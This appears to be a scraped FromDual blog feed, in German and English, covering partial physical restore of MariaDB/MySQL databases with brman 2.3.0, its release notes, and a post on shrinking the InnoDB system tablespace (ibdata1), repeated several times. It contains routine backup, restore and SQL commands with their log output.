Bei der Beschreibung von Backup- und /Restore-Szenarien wird in der Regel immer von einem vollständigen Backup (full backup) und einem vollständigen Restore (full restore) der Datenbankinstanz (mariadbd/mysqld) ausgegangen. Das bedeutet, dass die gesamte Datenbankinstanz inklusive aller Datenbanken (Schemata) gesichert und wiederhergestellt wird.

In der Praxis sieht die Situation jedoch oft anders aus: Es soll nicht eine ganze Datenbankinstanz wiederhergestellt werden, sondern nur einzelne Datenbanken oder gar einzelne Tabellen, weil nur diese kaputt gegangen sind.

Dies kann in vielen Fällen recht einfach mit den Tools mariadb-dump/mariadb oder mysqldump/mysql (logisches Backup) bewerkstelligt werden. Wenn die Datenbank oder die Tabelle jedoch sehr gross ist, wird die Wiederherstellung nicht in angemessener Zeit (einige Minuten bis wenige Stunden) abgeschlossen sein.

Genau in diesem Fall kommt der sogenannte partielle physische Restore ins Spiel. Partiell steht für eine oder mehrere Tabellen (oder eine ganze Datenbank), physisch für: Es werden nicht einzelne SQL-Anweisungen ausgeführt, sondern die Datenfiles werden physisch zurückgespielt. In diesem Szenario können, eine entsprechende Infrastruktur vorausgesetzt, sehr schnell sehr grosse Datenbestände zurückgespielt werden. Faustregel: Auf fetter Hardware: 1 Tbyte pro Stunde. Auf diese Weise können Datenbank-Restores sehr schnell durchgeführt werden.

MariaDB und MySQL bieten diese Funktionalität bereits von Haus aus an. Für einzelne Tabellen ist der Mechanismus einigermassen praktikabel (siehe Restore partial Backup). Für ganze Datenbanken mit möglicherweise Dutzenden oder Hunderten von Tabellen ist der Bord-Mechanismus jedoch sehr umständlich und fehleranfällig.

Anwendungsfall

Genau hier kommt die neue Funktionalität des FromDual Backup and Recovery Managers (brman) v2.3.0 ins Spiel: Er vereinfacht den partiellen physischen Datenbank-Restore erheblich.

Ein zweites Szenario, in welchem diese neue Funktionalität ebenfalls genutzt werden kann, ist der Umzug einer grossen Datenbank von einer Datenbankinstanz in eine andere Datenbankinstanz (z. B. von Dev nach Prod).

Vorbereitungen für den partiellen physischen Datenbank-Restore

Um eine Datenbank wiederherstellen zu können, muss natürlich zunächst ein sauberes Backup vorliegen. Dieses kann entweder mit dem FromDual Backup Manager (bman) erstellt werden:

PORT=3306 BACKUPNAME=bck_full_2024-07-01 BACKUPDIR=/tmp/bck ./brman/bin/bman --target=brman:secret@127.0.0.1:${PORT} --type=full --mode=physical --policy=daily --backupdir=${BACKUPDIR} --backup-name=${BACKUPNAME} --no-compress

oder man kann das Backup auch einfach mit den MariaDB- (mariadb-backup) oder MySQL-Bordmitteln (xtrabackup) erstellen:

PORT=3306 BACKUPNAME=bck_full_2024-07-01 BACKUPDIR=/tmp/bck POLICY=daily mariadb-backup --user=brman --password=secret --host=127.0.0.1 --port=${PORT} --backup --target-dir=${BACKUPDIR}/${POLICY}/${BACKUPNAME} mariadb-backup --user=brman --password=secret --host=127.0.0.1 --port=${PORT} --prepare --target-dir=${BACKUPDIR}/${POLICY}/${BACKUPNAME}
Partieller physischer Datenbank-Restore

Um einen partiellen physischen Datenbank-Restore durchzuführen, muss die Datenbank, im Gegensatz zum vollständigen physischen Restore, laufen.

Der partielle physische Datenbank-Restore ist dann einfach:

PORT=3306 DATADIR=/var/lib/mysql BACKUPNAME=bck_full_2024-07-01 BACKUPDIR=/tmp/bck ./brman/bin/rman --target=brman:secret@127.0.0.1:${PORT} --type=schema --mode=physical --policy=daily --schema=test --log=/tmp/rman.log --backupdir=${BACKUPDIR} --datadir=${DATADIR} --backup-name=${BACKUPNAME} ... Start restore at 2024-07-01 16:29:48 Backup with tool mariabackup version 10.11.8 (from path /home/mysql/product/mariadb-10.11/bin/mariabackup). Parent: We are the parent. Our child is: 63712. Waiting for database daemon... Child: We are the child: Starting database daemon... Child: Change ownership of database files (/tmp/bck/daily/bck_full_2024-07-01) to mysql Child: /home/mysql/product/mariadb-10.11/bin/mariadbd --no-defaults --user=mysql --basedir=/home/mysql/product/mariadb-10.11 --datadir=/tmp/bck/daily/bck_full_2024-07-01 --log-error=/tmp/my.err --port=3360 --socket=/tmp/my.sock --lower-case-table-names=0 Parent: Tables not InnoDB or sequences: 0 Parent: Tables with partitions: 0 Parent: Tables with full-text index: 0 Parent: InnoDB table `test` found to restore Parent: Dump database test Parent: /home/mysql/product/mariadb-10.11/bin/mariadb-dump --user=brman --host=127.0.0.1 --port=3360 --routines --events --triggers --no-data --skip-lock-tables --add-drop-database --databases test Parent: Shutdown backup database. Restore empty database test Prepare and export tables: /home/mysql/product/mariadb-10.11/bin/mariabackup --user=brman --host=127.0.0.1 --port=3321 --prepare --export --databases=test --target-dir=/tmp/bck/daily/bck_full_2024-07-01 SET SESSION foreign_key_checks = 0 SET SESSION sql_log_bin = off Restore table test ALTER TABLE `test`.`test` DISCARD TABLESPACE cp /tmp/bck/daily/bck_full_2024-07-01/test/test.cfg /home/mysql/database/mariadb-1011/data/test/test.cfg cp /tmp/bck/daily/bck_full_2024-07-01/test/test.ibd /home/mysql/database/mariadb-1011/data/test/test.ibd chown mysql: /home/mysql/database/mariadb-1011/data/test/test.cfg /home/mysql/database/mariadb-1011/data/test/test.ibd ALTER TABLE `test`.`test` IMPORT TABLESPACE rm /home/mysql/database/mariadb-1011/data/test/test.cfg rm /tmp/bck/daily/bck_full_2024-07-01/test/test.cfg ---------------------------------------- WARNING: You should restart the database now! Otherwise possible future backups may fail. See MDEV-34418 (https://jira.mariadb.org/browse/MDEV-34418). ---------------------------------------- Restore time was: 0d 0h 0' 2" End restore at 2024-07-01 16:29:50 (rc=0)

Bei MariaDB empfiehlt es sich, die Datenbank anschliessend neu zu starten, bis der Bug MDEV-34418: mariadb-backup fails on database which was partially restored with mariadb-backup behoben ist. Für MySQL kann dieser Schritt entfallen.

Einschränkungen

Zur Zeit sind noch folgende Einschränkungen beim partiellen physischen Restore von Datenbanken mit rman zu beachten:

Es können nur ganze Datenbanken zurückgesichert werden. Das zurücksichern von einzelne Tabellen ist derzeit noch nicht implementiert. Verwenden Sie hierfür die Basis-Bordwerkzeuge.
Die Wiederherstellung partitionierter Tabellen ist derzeit noch nicht implementiert. Verwenden Sie dazu die Basis-Bordwerkzeuge für partitionierte Tabellen.
Ein anschliessendes Point-in-Time-Recovery der Datenbank ist noch nicht implementiert und muss manuell durchgeführt werden.
Ein partielles physisches Datenbank-Restore für einen gesamten Galera-Cluster ist derzeit noch nicht implementiert und muss manuell durchgeführt werden. In diesem Fall wird ein Restore auf einen Galera-Knoten und eine anschliessende Synchronisation der anderen Knoten mittels SST empfohlen.
Beim physischen partiellen Datenbank-Restore wird eine Pseudo-Instanz auf den Backup-Dateien gestartet. Diese Pseudoinstanz benötigt einen freien Port 3360.
Die Backup-Dateien müssen bereits in einem konsistenten Zustand vorliegen (--prepare).
Beim partiellen physischen Datenbank-Restore wird ein logisches Backup der Datenbank ohne die Daten auf der Pseudo-Instanz erstellt. Diese Sicherung wird auf die zu reparierende Instanz zurückgespielt. Das bedeutet, dass alle Objekte (Views, Trigger, Functions, Procedures, Events, etc.), die NACH dem vollständigen physischen Backup erstellt wurden, vor dem partiellen physischen Datenbank-Restore gelöscht werden und anschliessend nicht mehr vorhanden sind.
Die ursprüngliche Datenbankinstanz, von der das Backup erstellt wurde, und die Instanz, auf der der Restore durchgeführt wird, müssen die gleiche Einstellung für lower_case_table_names haben.
Sowohl das Backup als auch die Datenbankinstanz und das rman-Werkzeug müssen sich auf derselben Maschine befinden.
Das Backup muss zur Zeit noch in unkomprimierter Form vorliegen.

Literatur

Taxonomy upgrade extras: partial restore Restore database schema

Categories: FromDual all (de), FromDual TechFeed (de)

FromDual Backup and Recovery Manager for MariaDB and MySQL 2.3.0 has been released

Shinguz - Tue, 2024-06-25 15:12

FromDual has the pleasure to announce the release of the new version 2.3.0 of its popular Backup and Recovery Manager for MariaDB and MySQL (brman).

The new FromDual Backup and Recovery Manager can be downloaded from here. The FromDual Repositories were updated. How to install and use the Backup and Recovery Manager is described in FromDual Backup and Recovery Manager (brman) installation guide.

In the inconceivable case that you find a bug in the FromDual Backup and Recovery Manager please report it to the FromDual Bugtracker or just send us an email.

Any feedback, statements and testimonials are welcome as well! Please send them to feedback@fromdual.com.

Upgrade from 2.x to 2.3.0 shell> cd ${HOME}/product shell> tar xf /download/brman-2.3.0.tar.gz shell> rm -f brman shell> ln -s brman-2.3.0 brman
Changes in FromDual Backup and Recovery Manager 2.3.0

This release is a new major release. The most important new feature is the partial physical restore. We have tried to maintain backward-compatibility with the 1.2, 2.0, 2.1 and 2.2 release series. But you should test the new release seriously!

You can verify your current FromDual Backup Manager version with the following command:

shell> fromdual_bman --version shell> bman --version shell> rman --version
General

Packaging: Release el9 added and debian format increase from 9 to 10 because of debian12.
Documentation prepared for Asciidoctor.
Distribtion dependent things fixed.
Build script improved.
Typos fixed.
All print replaced by standard PHP echo commands.
Redhat replace by Red Hat and CentOS by Rocky Linux.
Copyright year updated to 2024.
Library myEnv updated (getDistribution, lsb_release removed).

FromDual Backup Manager (bman)

Bug in sftp transfer for archiving files fixed.
Also create subdirectories only once if necessary in physical backup.
Archive location directory is only created once in physical backup. This avoids errors and makes the backup slightly faster.
In function createArchiveDestinationDirectory php-ssh2 calls where replaced by the more stable scp/sftp calls.
Bug in archive destination directory creation fixed and example improved.
Library LXClib added for testing.
Number of lines in dump parsing increased because of changes in MySQL 8.0.
Binlog backup debug output made nicer.
Retention time increased from 800 days to 1200 days (more than 3 years), tests added for this, newer DB versions added to tests.
Advices apt-get and yum replace by apt and dnf.
Error was not returned correctly when bman aborts because of MyISAM tables. Fixed.
Syntax error fixed.
flock on fpmmm file added.
BINLOG MONITOR privilege check added for MariaDB 10.11.
Code clean-up.
Example enhanced.
Output made more clear for trouble shooting (doCleanup).

FromDual Recovery Manager (rman)

Various bugs fixed found during automated testing.
Some minor fixes about timing and repeatable testing, warnings and messages improved.
mariadb_backup_binlog_info case (MariaDB 11.4) added for physical full backup.
Code refactored and case when backup is compressed caught.
Function doPhysicalRestore renamed to doFullPhysicalRestore.
Split restore functions in their own files.
sql_log_bin is used for schema restore on partial physical restore.
New example for partial physical restore added.
New method for partial physical restore implemented.
Partial physical schema restore added.

Subscriptions for commercial use of FromDual Backup and Recovery Manager you can get from from us.

Taxonomy upgrade extras: Backup Restore Recovery pitr brman release bman rman FromDual Backup and Recovery Manager

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

Shrinking the InnoDB system tablespace

Shinguz - Mon, 2024-06-17 14:45

One feature that really excited me in the new MariaDB 11.4 LTS release is the shrinking of the system tablespace (ibdata1). I have been eagerly waiting for this feature since around 2006 and now it has finally arrived with MariaDB 11.4.
Actually, this feature has been available since MariaDB 11.2 IR (June 2023).

Unfortunately, the announcement of this feature came a little too short. In the MariaDB release notes it says succinctly:

The InnoDB system tablespace is now shrunk by reclaiming unused space at startup (MDEV-14795)

From the MariaDB 11.2.0 Release Notes.

The reasons why this file can grow immeasurably have actually been known for a long time and the measures against it are also clear (see literature). But again and again we see MariaDB users out in the field who didn't realise the problem or realised it too late and are now left with an ibdata1 file that is far too large...

How can the problem be provoked?

The problem can be provoked by creating a table in the system tablespace:

SQL> SET global innodb_file_per_table = off; SQL> CREATE TABLE `test` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `data` varchar(128) DEFAULT NULL, `ts` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`) ) ENGINE=InnoDB;

and then filling it with data:

SQL> INSERT INTO test SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW() ; SQL> INSERT INTO test SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW() FROM test LIMIT 1000000 ; ...

While the table is being filled, you can observe how the file ibdata1 swells on the file system:

$ while [ 1 ] ; do ll -h ibdata1 ; sleep 5 ; done -rw-rw---- 1 mysql mysql 12M Jun 2 13:57 ibdata1 -rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1 -rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1 -rw-rw---- 1 mysql mysql 140M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 204M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 268M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 332M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 396M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 460M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 524M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 588M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 652M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 716M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 780M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 844M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 908M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 972M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.1G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.2G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.3G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:00 ibdata1

If the ibdata1 file is large enough, you can move the table from the system tablespace to a dedicated tablespace:

SQL> SET global innodb_file_per_table = off; SQL> ALTER TABLE test.test FORCE; Query OK, 0 rows affected (33.764 sec)

And you can see how the new file is created:

$ ll -h ibdata1 test/* -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1 -rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/#sql-alter-dca30-12.frm -rw-rw---- 1 mysql mysql 696M Jun 12 14:01 test/#sql-alter-dca30-12.ibd -rw-rw---- 1 mysql mysql 1.1K Jun 12 13:56 test/test.frm -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1 -rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/test.frm -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:02 test/test.ibd

So now we have once the data but twice as much space used.

And how can you make the system tablespace smaller again?

Unfortunately, this information is somewhat hidden and has to be gathered from the documentation and the MariaDB Jira issues (see literature):

SQL> SET GLOBAL innodb_fast_shutdown=0; SQL> SHUTDOWN;

When shutting down, you can see the corresponding entries in the MariaDB error log:

[Note] bin/mariadbd (initiated by: root[root] @ localhost []): Normal shutdown [Note] InnoDB: FTS optimize thread exiting. [Note] InnoDB: Truncating system tablespace from 90880 to 768 pages [Note] InnoDB: System tablespace truncated successfully [Note] InnoDB: Starting shutdown... [Note] InnoDB: Dumping buffer pool(s) to /home/mysql/database/mariadb-114/data/ib_buffer_pool [Note] InnoDB: Restricted to 2016 pages due to innodb_buf_pool_dump_pct=25 [Note] InnoDB: Buffer pool(s) dump completed at 240612 14:11:11 [Note] InnoDB: Removed temporary tablespace data file: "./ibtmp1" [Note] InnoDB: Shutdown completed; log sequence number 4011132308; transaction id 139 [Note] bin/mariadbd: Shutdown complete

And if you look at the file ibdata1 on disc afterwards, it is as small as it was at the beginning of the experiment:

$ ll ibdata1* -h -rw-rw---- 1 mysql mysql 12M Jun 12 14:11 ibdata1
Literature

Shrinking the InnoDB system tablespace

Shinguz - Mon, 2024-06-17 14:45

One feature that really excited me in the new MariaDB 11.4 LTS release is the shrinking of the system tablespace (ibdata1). I have been eagerly waiting for this feature since around 2006 and now it has finally arrived with MariaDB 11.4.
Actually, this feature has been available since MariaDB 11.2 IR (June 2023).

Unfortunately, the announcement of this feature came a little too short. In the MariaDB release notes it says succinctly:

The InnoDB system tablespace is now shrunk by reclaiming unused space at startup (MDEV-14795)

From the MariaDB 11.2.0 Release Notes.

The reasons why this file can grow immeasurably have actually been known for a long time and the measures against it are also clear (see literature). But again and again we see MariaDB users out in the field who didn't realise the problem or realised it too late and are now left with an ibdata1 file that is far too large...

How can the problem be provoked?

The problem can be provoked by creating a table in the system tablespace:

SQL> SET global innodb_file_per_table = off; SQL> CREATE TABLE `test` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `data` varchar(128) DEFAULT NULL, `ts` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`) ) ENGINE=InnoDB;

and then filling it with data:

SQL> INSERT INTO test SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW() ; SQL> INSERT INTO test SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW() FROM test LIMIT 1000000 ; ...

While the table is being filled, you can observe how the file ibdata1 swells on the file system:

$ while [ 1 ] ; do ll -h ibdata1 ; sleep 5 ; done -rw-rw---- 1 mysql mysql 12M Jun 2 13:57 ibdata1 -rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1 -rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1 -rw-rw---- 1 mysql mysql 140M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 204M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 268M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 332M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 396M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 460M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 524M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 588M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 652M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 716M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 780M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 844M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 908M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 972M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.1G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.2G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.3G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:00 ibdata1

If the ibdata1 file is large enough, you can move the table from the system tablespace to a dedicated tablespace:

SQL> SET global innodb_file_per_table = off; SQL> ALTER TABLE test.test FORCE; Query OK, 0 rows affected (33.764 sec)

And you can see how the new file is created:

$ ll -h ibdata1 test/* -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1 -rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/#sql-alter-dca30-12.frm -rw-rw---- 1 mysql mysql 696M Jun 12 14:01 test/#sql-alter-dca30-12.ibd -rw-rw---- 1 mysql mysql 1.1K Jun 12 13:56 test/test.frm -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1 -rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/test.frm -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:02 test/test.ibd

So now we have once the data but twice as much space used.

And how can you make the system tablespace smaller again?

Unfortunately, this information is somewhat hidden and has to be gathered from the documentation and the MariaDB Jira issues (see literature):

SQL> SET GLOBAL innodb_fast_shutdown=0; SQL> SHUTDOWN;

When shutting down, you can see the corresponding entries in the MariaDB error log:

[Note] bin/mariadbd (initiated by: root[root] @ localhost []): Normal shutdown [Note] InnoDB: FTS optimize thread exiting. [Note] InnoDB: Truncating system tablespace from 90880 to 768 pages [Note] InnoDB: System tablespace truncated successfully [Note] InnoDB: Starting shutdown... [Note] InnoDB: Dumping buffer pool(s) to /home/mysql/database/mariadb-114/data/ib_buffer_pool [Note] InnoDB: Restricted to 2016 pages due to innodb_buf_pool_dump_pct=25 [Note] InnoDB: Buffer pool(s) dump completed at 240612 14:11:11 [Note] InnoDB: Removed temporary tablespace data file: "./ibtmp1" [Note] InnoDB: Shutdown completed; log sequence number 4011132308; transaction id 139 [Note] bin/mariadbd: Shutdown complete

And if you look at the file ibdata1 on disc afterwards, it is as small as it was at the beginning of the experiment:

$ ll ibdata1* -h -rw-rw---- 1 mysql mysql 12M Jun 12 14:11 ibdata1
Literature

Verkleinern des InnoDB-System-Tablespaces

Oli Sennhauser - Wed, 2024-06-12 15:27

Ein Feature, das mich im neuen MariaDB 11.4 LTS Release wirklich begeistert hat, ist das Verkleinern bzw. Schrumpfen des System-Tablespaces (ibdata1). Auf dieses Feature habe ich seit ca. 2006 sehnsüchtig gewartet und nun ist es mit MariaDB 11.4 endlich gekommen.
Eigentlich gibt es dieses Feature schon seit dem MariaDB 11.2 IR (Juni 2023).

Leider ist die Ankündigung dieses Features etwas zu kurz gekommen. In den MariaDB Release Notes heisst es lapidar:

The InnoDB system tablespace is now shrunk by reclaiming unused space at startup (MDEV-14795)

Aus den MariaDB 11.2.0 Release Notes.

Die Gründe, warum dieses Datei ins Unermessliche wachsen kann, sind eigentlich schon lange bekannt und die Massnahmen dagegen sind auch klar (siehe Literatur). Nur sehen wir immer wieder MariaDB-Anwender draussen im Feld, die das Problem nicht oder zu spät auf dem Schirm hatten und nun mit einer viel zu grossen ibdata1-Datei da stehen...

Wie kann das Problem provoziert werden?

Das Problem kann provoziert werden, indem man eine Tabelle im System-Tablespace anlegt:

SQL> SET global innodb_file_per_table = off; SQL> CREATE TABLE `test` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `data` varchar(128) DEFAULT NULL, `ts` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`) ) ENGINE=InnoDB;

und diese dann mit Daten befüllt:

SQL> INSERT INTO test SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW() ; SQL> INSERT INTO test SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW() FROM test LIMIT 1000000 ; ...

Während die Tabelle gefüllt wird, kann man auf dem Dateisystem beobachten, wie die Datei ibdata1 anschwillt:

$ while [ 1 ] ; do ll -h ibdata1 ; sleep 5 ; done -rw-rw---- 1 mysql mysql 12M Jun 2 13:57 ibdata1 -rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1 -rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1 -rw-rw---- 1 mysql mysql 140M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 204M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 268M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 332M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 396M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 460M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 524M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 588M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 652M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 716M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 780M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 844M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 908M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 972M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.1G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.2G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.3G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:00 ibdata1

Wenn die Datei ibdata1 gross genug ist, kann man die Tabelle vom System-Tablespace in einen dedizierten Tablespace verschieben:

SQL> SET global innodb_file_per_table = off; SQL> ALTER TABLE test.test FORCE; Query OK, 0 rows affected (33.764 sec)

Und man sieht, wie die neue Datei aufgebaut wird:

$ ll -h ibdata1 test/* -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1 -rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/#sql-alter-dca30-12.frm -rw-rw---- 1 mysql mysql 696M Jun 12 14:01 test/#sql-alter-dca30-12.ibd -rw-rw---- 1 mysql mysql 1.1K Jun 12 13:56 test/test.frm -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1 -rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/test.frm -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:02 test/test.ibd

Wir haben jetzt also einmal die Daten aber doppelte so viel Platz verbraucht.

Und wie kann man den System-Tablespace wieder verkleinern?

Diese Information ist leider etwas versteck und muss aus der Dokumentation und den MariaDB Jira Issues (siehe Literatur) zusammengesucht werden:

SQL> SET GLOBAL innodb_fast_shutdown=0; SQL> SHUTDOWN;

Beim Herunterfahren sieht man die entsprechenden Einträge im MariaDB Error Log:

[Note] bin/mariadbd (initiated by: root[root] @ localhost []): Normal shutdown [Note] InnoDB: FTS optimize thread exiting. [Note] InnoDB: Truncating system tablespace from 90880 to 768 pages [Note] InnoDB: System tablespace truncated successfully [Note] InnoDB: Starting shutdown... [Note] InnoDB: Dumping buffer pool(s) to /home/mysql/database/mariadb-114/data/ib_buffer_pool [Note] InnoDB: Restricted to 2016 pages due to innodb_buf_pool_dump_pct=25 [Note] InnoDB: Buffer pool(s) dump completed at 240612 14:11:11 [Note] InnoDB: Removed temporary tablespace data file: "./ibtmp1" [Note] InnoDB: Shutdown completed; log sequence number 4011132308; transaction id 139 [Note] bin/mariadbd: Shutdown complete

Und wenn man sich die Datei ibdata1 danach auf Platte anschaut, ist sie wieder so klein wie zu Beginn des Experiments:

$ ll ibdata1* -h -rw-rw---- 1 mysql mysql 12M Jun 12 14:11 ibdata1
Literatur

Siehe auch:

UNDO logs in InnoDB system tablespace ibdata1
Shrinking InnoDB system tablespace file ibdata1 PoC
Who else is using my memory - File System Cache analysis
InnoDB system tablespace cannot be shrunk (MDEV-14795)
ibdata1 shrinking (MDEV-31462)
InnoDB System Tablespaces - Decreasing the Size

Taxonomy upgrade extras: innodb tablespace ibdata1

Categories: FromDual all (de), FromDual TechFeed (de)

Verkleinern des InnoDB-System-Tablespaces

Oli Sennhauser - Wed, 2024-06-12 15:27

Ein Feature, das mich im neuen MariaDB 11.4 LTS Release wirklich begeistert hat, ist das Verkleinern bzw. Schrumpfen des System-Tablespaces (ibdata1). Auf dieses Feature habe ich seit ca. 2006 sehnsüchtig gewartet und nun ist es mit MariaDB 11.4 endlich gekommen.
Eigentlich gibt es dieses Feature schon seit dem MariaDB 11.2 IR (Juni 2023).

Leider ist die Ankündigung dieses Features etwas zu kurz gekommen. In den MariaDB Release Notes heisst es lapidar:

The InnoDB system tablespace is now shrunk by reclaiming unused space at startup (MDEV-14795)

Aus den MariaDB 11.2.0 Release Notes.

Die Gründe, warum dieses Datei ins Unermessliche wachsen kann, sind eigentlich schon lange bekannt und die Massnahmen dagegen sind auch klar (siehe Literatur). Nur sehen wir immer wieder MariaDB-Anwender draussen im Feld, die das Problem nicht oder zu spät auf dem Schirm hatten und nun mit einer viel zu grossen ibdata1-Datei da stehen...

Wie kann das Problem provoziert werden?

Das Problem kann provoziert werden, indem man eine Tabelle im System-Tablespace anlegt:

SQL> SET global innodb_file_per_table = off; SQL> CREATE TABLE `test` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `data` varchar(128) DEFAULT NULL, `ts` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`) ) ENGINE=InnoDB;

und diese dann mit Daten befüllt:

SQL> INSERT INTO test SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW() ; SQL> INSERT INTO test SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW() FROM test LIMIT 1000000 ; ...

Während die Tabelle gefüllt wird, kann man auf dem Dateisystem beobachten, wie die Datei ibdata1 anschwillt:

$ while [ 1 ] ; do ll -h ibdata1 ; sleep 5 ; done -rw-rw---- 1 mysql mysql 12M Jun 2 13:57 ibdata1 -rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1 -rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1 -rw-rw---- 1 mysql mysql 140M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 204M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 268M Jun 12 13:58 ibdata1 -rw-rw---- 1 mysql mysql 332M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 396M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 460M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 524M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 588M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 652M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 716M Jun 12 13:59 ibdata1 -rw-rw---- 1 mysql mysql 780M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 844M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 908M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 972M Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.1G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.2G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.3G Jun 12 14:00 ibdata1 -rw-rw---- 1 mysql mysql 1.4G Jun 12 14:00 ibdata1

Wenn die Datei ibdata1 gross genug ist, kann man die Tabelle vom System-Tablespace in einen dedizierten Tablespace verschieben:

SQL> SET global innodb_file_per_table = off; SQL> ALTER TABLE test.test FORCE; Query OK, 0 rows affected (33.764 sec)

Und man sieht, wie die neue Datei aufgebaut wird:

